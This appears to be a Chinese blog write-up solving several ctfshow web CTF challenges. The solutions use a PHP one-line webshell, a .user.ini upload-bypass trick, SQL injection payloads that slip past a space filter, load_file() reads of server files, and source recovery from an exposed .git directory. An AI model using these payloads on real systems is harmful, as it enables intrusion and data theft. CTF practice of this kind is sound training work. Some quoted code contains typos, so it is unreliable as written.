ctfshow

web13

访问题目链接

一看是一道文件上传题,上传文件进行测试

上传php会显示 error suffix 因此推测会检测格式

当文件字数超出一定字数时,显示 error file zise

常规操作就是访问 .php.bak 、.phps 、.swp等文件,看看有没有源码泄露

这道题访问 upload.php.bak 成功获取到了php源码

<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
} ?>

检测了文件的大小、文件名长度、后缀名长度、黑名单限制了php后缀名和文件名

上传的文件会在本目录

对于限制了长度小于24的情况,用最简单的一句话马符合条件(23个字符)

<?php eval($_GET['c']);

对于限制了上传文件的类型,由于此题使用黑名单限制了php,但是没有限制其他三个字符后缀名的文件。

因此我们可以上传用户配置文件 .user.ini

原理参照:https://blog.csdn.net/cosmoslin/article/details/120793126

auto_apend_file="t.txt"

然后上传一个test.php,里边写上面提到的最简单一句话

此时此目录下所有php文件执行前都会包含txt文件的内容(在文件最后包含)

注意:由于限制文件内容长度,所以文件名不能写太长(配置文件内容会超出长度)

成功调用 phpinfo 函数

使用 print_r(scandir('.')); 获得一个包含本目录下所有文件的数组。

使用 highlight_file(“”) 查看可疑文件

得到flag

web14

尝试数字小的,输入3时,提示了另一个页面

是个查询框,推测有sql注入

发现会过滤空格,尝试 注释绕过,成功

order by 子句爆列数

?query=-1/**/or/**/true/**/order/**/by/**/2

发现只有一列

union爆库名

?query=-1/**/union/**/select/**/database()

爆版本

爆表(这里的informaiton_schema里的表名要带上反引号进行绕过,题目过滤了 informaiton_schema.tables)

-1/**/union/**/select/**/group_concat(table_name)from/**/information_schema.`tables`/**/where/**/table_schema=database()

后来发发现爆了一堆白爆了……..

根本就不是这么做。

仔细一想,题目提示要看题目的源码,且又是sql注入

那么——load_file()函数

使用load_file的前提:

  1. my.cfg(或者ini)里secure_file_priv的值(其他地方查去吧)
  2. 绝对路径已知(/var/www/html)
-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

页面没反应

查看一下源码

看这段代码好像还需要满足一个条件,实际上已经把flag 的真实路径指出来了,就在根目录下,用load_file再读一下就好

得到flag

红包题第7弹

访问就是个phpinfo页面,用 HackPhpinfo 看看有没有古怪

ban了一堆函数

看了下中间件是nginx,看看有没有目录穿越漏洞(并没有)

看看网页html有没有藏东西(没有)

没辙,开爆!

我爆出来全是200

别人 dirmap 爆出有个 .git 目录

对于 .git ,有两个工具可以还原出网页源码

  • gitHack
  • Git_Extract

这里使用 Git_Extract 成功提取出文件

发现还有个 backdoor.php 文件

里面就是经典一句话

由于常用函数被ban了,所以蚁剑一类远控工具无效了

这里使用 scandir 函数 配合 print_r 显示目录结构查找可疑文件

查看里面的内容

fl4g_1s_n0t_h3r3.txt:

这里是一长串的base64编码,解码后发现 JFIF 标签

推测是一张 base64 格式的图片,找个在线工具转码看看

…… whatcanisay ?

flag.sh 内容:

这里的 sed 命令作用是:将 /var/www/flag.txt 文件中的 "flag_here" 替换为环境变量 $FLAG 的值,-i 参数表示直接在原文件中修改

看来真正的flag就在这个文件里了

highlight_file('/var/www/flag.txt');

成功出flag

萌新专属红包题1

看见登录框,条件反射是sql注入

拿burp跑了一圈测试字典没反应

于是尝试burp抓包,看各种参数,没有收获

尝试爆破

最中成功爆出了账号密码

在burp内置浏览器进行登录操作(方便看http记录,分析跳转行为)

进入main.php

查看源码,提示没有功能测试

先查看HTTP记录,分析一下跳转行为,发现有猫腻

这里的响应返回了一个flag

base64解码直接出flag

ctf_web的更多相关文章

  1. 什么是data:image/png;base64,?一道关于Data URI Scheme的入门级CTF_Web题

    一道关于Data URI Scheme的入门级CTF_Web题 0x00 题目描述 这是偶尔遇到的某网安交流群的入群题,题目没有任何的提示,直接给了一个txt文件. 0x01 解题过程 通过给的这个文 ...

  2. PHP字符逃逸导致的对象注入

    1.漏洞产生原因: 序列化的字符串在经过过滤函数不正确的处理而导致对象注入,目前看到都是因为过滤函数放在了serialize函数之后,要是放在序列化之前应该就不会产生这个问题 ?php functio ...

  3. jwt(JSON Web Tokens)的一道题目代码分析

    题目链接https://github.com/wonderkun/CTF_web/tree/5b08d23ba4086992cbb9f3f4da89a6bb1346b305/web300-6 参考链接 ...

  4. NewStarCTF 公开赛 2022 RE WP

    Week 2 Re 前可见古人,后得见来者 chipher = [0x51, 0x5B, 0x4C, 0x56, 0x59, 0x4D, 0x50, 0x56, 0x54, 0x43, 0x7D, 0 ...

随机推荐

  1. #线性dp,排列组合#洛谷 2476 [SCOI2008]着色方案

    题目 分析(弱化版) 最暴力的想法就是直接维护每种颜色的个数dp, 弱化版有一个很突出的地方就是 \(c_i\leq 5\), 也就是说可以将相同个数的颜色合并按照个数dp, 设 \(dp[c1][c ...

  2. Ubuntu部署Django三:编写相关配置文件及启动服务

    1. uwsgi 1.1 项目结构如下,你要知道 uwsgi.ini 放在什么位置 projectName |-- app |-- projectName |-- -- wsgi.py |-- -- ...

  3. openGauss支持国密SM3和SM4算法

    国密算法介绍 国密即国家密码局认定的国产密码算法,主要有 SM1,SM2,SM3,SM4.密钥长度和分组长度均为 128 位.针对银行客户对数据库安全能力的诉求以及提高产品安全竞争力的要求,进行数据库 ...

  4. Linux Ubuntu安装配置教程

    Ubuntu是一个基于Linux的开源操作系统,它遵循GNU通用公共许可证,用户可以自由使用.复制.分发和修改.它提供直观易用的桌面环境,适合新手和有经验用户.Ubuntu有强大的软件中心,支持多硬件 ...

  5. centos7.2 利用yum安装配置apache2.4多虚拟主机

    centos7.2 利用yum安装配置apache2.4多虚拟主机 标签: centosapacheyum 2017-01-10 21:01  3175人阅读  评论(0)  收藏  举报   分类: ...

  6. 红日安全vulnstack (一)

    网络拓扑图 靶机参考文章 CS/MSF派发shell 环境搭建 IP搭建教程 本机双网卡 65网段和83网段是自己本机电脑(虚拟机)中的网卡, 靶机外网的IP需要借助我们这两个网段之一出网 Kali ...

  7. 【笔记】Linux基础指令

    Linux基础指令 cd 跳转文件夹 cd 到根目录 cd usr 到根目录下的usr目录 cd .. 到上一级目录 cd ~ 到home目录 cd - 到上次访问的目录 sh 执行sh命令 ls 查 ...

  8. Serverless 架构下的 AI 应用开发:入门、实战与性能优化

    简介: 本章通过对 Serverless 架构概念的探索,对 Serverless 架构的优势与价值.挑战与困境进行分析,以及 Serverless 架构应用场景的分享,为读者介绍 Serverles ...

  9. Alibaba/IOC-golang 正式开源 ——打造服务于go开发者的IOC框架

    简介: IOC(inversion of control)即控制反转,是面向对象编程中的一种设计原则,可以用来减低计算机代码之间的耦合度.IOC-golang 是一款服务于Go语言开发者的依赖注入框架 ...

  10. 智能数据构建与管理平台Dataphin的前世今生:缘起

    简介: 阿里巴巴提出的OneData方法论帮助企业捋清了数据全生命周期的管理思路,更将其植入到产品Dataphin(智能数据构建与管理)中,通过阿里云为企业提供服务. Dataphin 智能数据构建与 ...